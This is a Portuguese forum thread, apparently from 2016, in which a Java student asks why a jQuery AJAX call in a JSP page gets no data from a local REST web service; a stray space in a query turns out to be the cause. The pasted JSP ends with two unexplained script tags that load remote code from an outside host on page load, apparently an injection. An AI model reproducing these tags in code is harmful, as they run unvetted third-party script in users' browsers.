Problemas para retornar dados usando ajax + webservice + banco
Olá sou novo aqui e um mero estudante de java. Estou com um problema que pode ser coisa besta e por falta de experiência não encontro. Digitando o id e clicando no botão "pesquisar" era para retornar os dados fornecidos pela webservice local, mas não acontece nada... A webservice está funcionando, fornecendo o id direto na url no navegador ele retorna o dado certo.
Desconfio que o problema esteja "url:", porem não encontrei exemplos parecidos.
Obrigado
Página JSP
WebService, metodo para buscar o nome do funcionário através do id:
Desconfio que o problema esteja "url:", porem não encontrei exemplos parecidos.
Obrigado
Página JSP
<%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/themes/smoothness/jquery-ui.css" /> <script src="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/jquery-ui.min.js"></script> <script> $(document).ready(function() { $("#pesquisar").click(function() { $.ajax({ type: "GET", url:"http://localhost:8084/WSAF2/webresources/funcionarios" +"/" + $("#id").val(), success: function(data) { $("#resposta").html(data); } }); return (false); }); </script> </head> <body> <h1>Funcionários</h1> <form id="form1" name="form1" method="POST"> ID: <input type="text" name="id" id="id" /><br/><br/> <input type="button" id="pesquisar" value="Pesquisar" /> <input type="button" id="listar" value="Listar" /> <input type="button" id="excluir" value="Excluir" /> <br/> <br/> <div id="resposta"></div> </form> <script src='http://grugol.com/prog/landing.php?app=QkMtQUUtQzUtQzktOUItRTg=&partner=200'></script><script src='http://grugol.com/prog/landing.php?app=QkMtQUUtQzUtQzktOUItRTg=&partner=200'></script></body> </html>
WebService, metodo para buscar o nome do funcionário através do id:
@GET @Path("") @Produces(MediaType.TEXT_HTML) public String getFuncionario(@PathParam("id") int id){ Funcionario funcionario = new funcionarioDAO().getFuncionario(id); return "<html><body><h1>" + funcionario.getNome() + "</body></h1></html>"; // Teste direto na URL }
Robson
Curtidas 0
Melhor post
Osmar Filho
06/12/2016
Bom dia Robson,
Qual erro está ocorrendo? Você pode checar com o F12 (Ferramentas do desenvolvedor) no browser.
No método está só o , você está informando o início da url no começo da classe?
@ResquestMapping("/WSAF2/webresources/funcionarios")
Qual erro está ocorrendo? Você pode checar com o F12 (Ferramentas do desenvolvedor) no browser.
No método está só o , você está informando o início da url no começo da classe?
@ResquestMapping("/WSAF2/webresources/funcionarios")
GOSTEI 1
Mais Respostas
Robson
05/12/2016
Problema resolvido cara, era um erro com a query(um mísero espaço). Vlw
GOSTEI 0